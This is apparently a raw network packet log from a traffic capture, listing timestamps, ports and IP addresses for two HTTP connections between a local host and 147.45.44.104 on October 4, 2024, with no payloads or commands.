Oct 4, 2024 15:53:45.973488092 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973495960 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973506927 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973520994 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973542929 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973570108 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973661900 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973673105 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973684072 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973696947 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973706961 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973716021 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973717928 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973731041 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973759890 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973792076 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973968029 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973979950 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973994970 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974005938 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974016905 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974026918 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974028111 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974037886 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974049091 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974059105 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974067926 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974071026 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974080086 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974090099 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974102020 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974106073 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974118948 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974131107 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974137068 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974162102 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974189997 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974709988 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974720955 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974733114 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974742889 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974754095 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974756002 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974765062 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974776030 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974786043 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974790096 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974798918 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974808931 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974819899 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974829912 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.974847078 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.974890947 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975070000 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975080013 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975095034 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975106001 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975116014 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975126028 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975133896 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975136042 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975147009 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975157022 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975167036 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975178003 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975179911 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975189924 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975200891 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975212097 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975230932 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975265026 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975670099 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975681067 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975692034 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975702047 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975717068 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975725889 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975732088 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975743055 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975754023 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975764990 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975775957 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975778103 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975786924 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975796938 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975807905 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975817919 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975828886 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975838900 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975842953 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975851059 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975855112 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975862026 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975872993 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975883961 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975894928 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975898027 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975907087 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975910902 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975918055 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975929022 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.975950956 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.975982904 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976640940 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976654053 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976664066 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976674080 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976684093 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976697922 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976700068 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976711035 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976721048 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976731062 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976737022 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976741076 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976752996 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976763010 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976772070 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976773024 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976783991 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976794958 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976795912 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976804972 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976814985 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976819038 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976826906 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976838112 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976850033 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976850986 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976861000 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976861954 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976872921 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976883888 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976885080 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976897001 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976908922 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.976912022 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.976946115 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977592945 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977605104 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977615118 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977624893 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977639914 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977650881 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977655888 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977663994 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977675915 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977684021 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977686882 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977698088 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977709055 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977713108 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977720976 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977730989 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977740049 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977741957 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977752924 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977762938 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977772951 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977777004 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977783918 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977796078 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977803946 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977807045 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977817059 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977827072 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977828979 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977838993 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977849960 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977857113 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977859974 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977870941 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.977895975 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.977914095 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978550911 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978562117 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978570938 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978581905 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978591919 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978601933 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978612900 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978614092 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978629112 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978638887 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978645086 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978648901 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978660107 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978669882 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978681087 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978681087 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978693008 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978703022 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978708982 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978713989 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978724003 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978734016 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978743076 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978745937 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978756905 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978766918 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978770018 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978777885 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978787899 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978797913 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978805065 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978810072 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978818893 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978830099 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.978832960 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.978880882 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979507923 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979518890 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979530096 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979540110 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979548931 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979558945 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979568005 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979568005 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979583979 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979593992 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979598045 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979604006 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979614019 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979623079 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979628086 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979633093 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979644060 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979646921 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979652882 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979662895 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979672909 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979676008 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979684114 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979691982 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979700089 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979702950 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979712963 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979722977 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979733944 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979738951 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979743958 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979754925 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979765892 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979768038 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979777098 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979785919 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979787111 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979799032 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.979815960 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.979836941 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980309010 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980319977 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980335951 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980346918 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980356932 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980365038 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980367899 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980377913 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980391979 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980393887 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980405092 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980415106 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980424881 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980434895 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980434895 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980444908 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980451107 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980456114 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980464935 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980474949 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980479002 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980484962 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980495930 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980505943 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980506897 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980518103 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980528116 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980537891 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980539083 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980549097 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980560064 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980566978 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980570078 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980581045 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980591059 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980598927 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980602980 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980629921 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980649948 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.980932951 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980952978 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980963945 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.980984926 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.981020927 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.061752081 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.061913967 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.061923981 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.061943054 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.061954975 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.061965942 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.061975956 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.061985970 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.061986923 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.061997890 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062007904 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062017918 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062036991 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062041998 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062051058 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062072039 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062083006 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062093019 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062104940 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062119961 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062123060 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062131882 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062143087 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062153101 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062160015 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062165022 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062176943 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062186003 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062194109 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062197924 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062208891 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062218904 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062225103 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062230110 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062241077 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062251091 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062261105 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062263966 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062279940 CEST	80	49781	147.45.44.104	192.168.2.10
